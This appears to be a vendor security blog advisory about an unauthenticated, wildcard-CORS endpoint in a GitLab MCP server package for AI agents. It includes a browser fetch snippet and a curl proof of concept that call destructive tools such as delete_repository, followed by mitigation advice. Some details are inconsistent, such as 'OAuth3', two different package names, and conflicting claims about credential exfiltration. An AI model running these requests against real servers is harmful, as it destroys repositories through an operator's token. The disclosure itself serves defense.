Lyrie
Supply-Chain
0 sources verified·5 min read
By Lyrie Threat Intelligence·5/9/2026

The AI Agent Gateway Bypass: How Wildcard CORS + No Auth = Unguarded Access to 86 GitLab Tools

TL;DR

CVE-2026-44895 exposes a catastrophic authentication gap in the @yoda.digital/gitlab-mcp-server npm package: when SSE transport is enabled (the README's recommended mode), the HTTP server runs with wildcard CORS and zero authentication checks. An attacker on the same network—or from any web page the operator visits—can execute all 86 exposed GitLab tools, including delete_repository, push_files, and update_repository_settings, using the operator's GitLab Personal Access Token. There is no fix yet.


What Happened

On May 9, 2026, GitLab's security team disclosed CVE-2026-44895: the mcp-gitlab-server package (used to expose GitLab as an MCP—Model Context Protocol—interface for AI agents and automation tools) ships with an unauthenticated, wildcard-CORS HTTP endpoint when the documented SSE (Server-Sent Events) transport is enabled.

The vulnerability chain:

1. Operator configures SSE mode (the advertised feature) by setting USE_SSE=true

2. HTTP server binds to 0.0.0.0:3000 (all interfaces, no loopback restriction)

3. SSE endpoint accepts all Origins via Access-Control-Allow-Origin: *

4. No credential check on /sse or /messages?sessionId=... endpoints

5. MCP tool calls are proxied to GitLab API using the operator's PAT (Personal Access Token)

The result: any attacker who can reach the port—LAN peer, cloud instance, or browser tab via CORS—gets full access to every GitLab tool the server exposes.


Technical Details: The Three-Part Failure

1. Unauthenticated SSE Endpoint

The HTTP transport in src/transport.ts opens an SSE connection without checking any credentials:

// SSE handler: no auth check
GET /sse
// Response header:
Access-Control-Allow-Origin: *
// Returns a session endpoint:
// event: endpoint
// data: /messages?sessionId=<UUID>

An attacker gets a valid session UUID with no auth overhead.

2. Wildcard CORS on All Endpoints

Every response includes Access-Control-Allow-Origin: *, which means any origin—including a malicious web page—can make cross-origin fetch requests. Combined with the session UUID, this creates a direct browser-tab attack vector:

// From any web page the operator visits:
fetch('http://localhost:3000/sse')
  .then(res => res.text())
  .then(text => {
    const sessionId = text.match(/sessionId=([^)]+)/)[1];
    // Now call any tool:
    fetch(`http://localhost:3000/messages?sessionId=${sessionId}`, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        id: 1,
        method: 'tools/call',
        params: { name: 'delete_repository', arguments: { ... } }
      })
    });
  });

3. No Inbound Credential Check on Tool Calls

The /messages endpoint accepts POST requests with MCP tool calls and forwards them to the GitLab API using the operator's stored PAT. The code path has no Authorization header check, no session validation tied to a client, and no per-request credential proof:

// POST /messages?sessionId=<UUID>
// No Authorization header required
// Tool calls are proxied to GitLab API
// Using: process.env.GITLAB_PERSONAL_ACCESS_TOKEN

The operator's PAT never leaves the process, but every API call it backs is available to the unauthenticated caller.

Exploitable Tools

The server exposes 86 GitLab tools, including:

  • delete_repository — removes an entire repo
  • push_files — commits code to any branch
  • create_merge_request — opens PRs with code changes
  • update_repository_settings — modifies visibility, CI/CD pipelines, branch protection
  • create_group, delete_group, list_members, update_member_role

All are callable without authentication.

Proof of Concept

# Step 1: Open SSE, capture the session UUID
curl -N http://localhost:3000/sse &
# Output:
# event: endpoint
# data: /messages?sessionId=a1b2c3d4-e5f6-7890-abcd-ef1234567890

# Step 2: Call a destructive tool (no auth required)
curl -X POST "http://localhost:3000/messages?sessionId=a1b2c3d4-e5f6-7890-abcd-ef1234567890" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "delete_repository",
      "arguments": { "project_id": "target-org/critical-repo" }
    }
  }'

# Response: Repository deleted. Operator's PAT was used. No credentials exchanged.

Lyrie Assessment: Why This Matters to Autonomous Defense

This vulnerability sits at the intersection of AI agent security and supply chain risk:

1. MCP is the protocol for AI tool binding: Model Context Protocol is how Claude, ChatGPT, and agentic frameworks (n8n, Langchain) hook into external APIs. A compromised MCP interface = compromised agent autonomy.

2. GitLab MCP is commonly deployed in CI/CD pipelines: Engineering teams use mcp-gitlab-server to let AI automation tools (code review agents, release orchestration, incident response) interact with their repos.

3. The browser-tab attack is silent and invisible: Developers who run mcp-gitlab-server on localhost (or a private network) assume it's safe. A single visited phishing page, or a tracking pixel from a compromised ad network, can exfiltrate the operator's GitLab credentials without any log.

4. It opens a lateral movement path: Once an attacker has network access to a developer's machine, they can manipulate CI/CD configurations, inject backdoors into code, or delete repositories—all framed as legitimate MCP tool calls.

5. No mitigation exists yet: The package ships with no auth layer at all. The README.md roadmap lists "SAML/OAuth3 authentication" as a future item, confirming the maintainers already knew auth was missing. Operators following the documented setup are exposed by default.


Recommended Actions

Immediate (Today):

  • If you run @yoda.digital/gitlab-mcp-server with USE_SSE=true: stop the process now. This is not a patch-later vulnerability.
  • Check your deployment inventory for MCP services exposed to the network or running on developer machines.
  • Audit GitLab API logs for any tool calls made between May 1–9 (when the vulnerability was introduced in the codebase).

Short-term (This Week):

  • Do not use SSE transport until a patched version ships with mandatory auth.
  • If you need MCP-to-GitLab integration, use stdin/stdout transport only (not SSE). The transport.ts file has both implementations; SSE is the vulnerable one.
  • If you must use SSE, run it on 127.0.0.1 only (localhost), with MCP_GITLAB_HOST=127.0.0.1 if the package supports it (check the repo).

Long-term (Before Re-enabling SSE):

  • Wait for a patched version with:

1. Mandatory MCP_GITLAB_AUTH_TOKEN environment variable (enforced at startup).

2. Localhost-only default bind (0.0.0.0 only with explicit flag + warning).

3. Restrictive CORS (no wildcard; allowlist required).

  • Pin the package to a specific patched version. Do not use ^ or ~ version ranges; use exact versions only.
  • Rotate your GitLab Personal Access Tokens after patching.

Architecture Change:

  • Consider whether MCP-to-GitLab should live on a separate, isolated machine (CI/CD runner, not developer laptop).
  • Use network segmentation: MCP service should be unreachable from untrusted networks. If it must be network-accessible, sit it behind a reverse proxy with mutual TLS (client certificate auth).
  • For agentic workflows: minimize the token scope. Create GitLab PATs with read-only permissions for tool inspection, and use separate tokens for write operations.

Sources

1. GitLab Advisories: CVE-2026-44895

2. GitHub Advisory Database: GHSA-8jr5-6gvj-rfpf

3. NVD: CVE-2026-44895

4. mcp-gitlab-server Repository


Lyrie.ai Cyber Research Division

Lyrie Verdict

Lyrie's autonomous defense layer flags this class of exposure the moment it surfaces — no signature update required.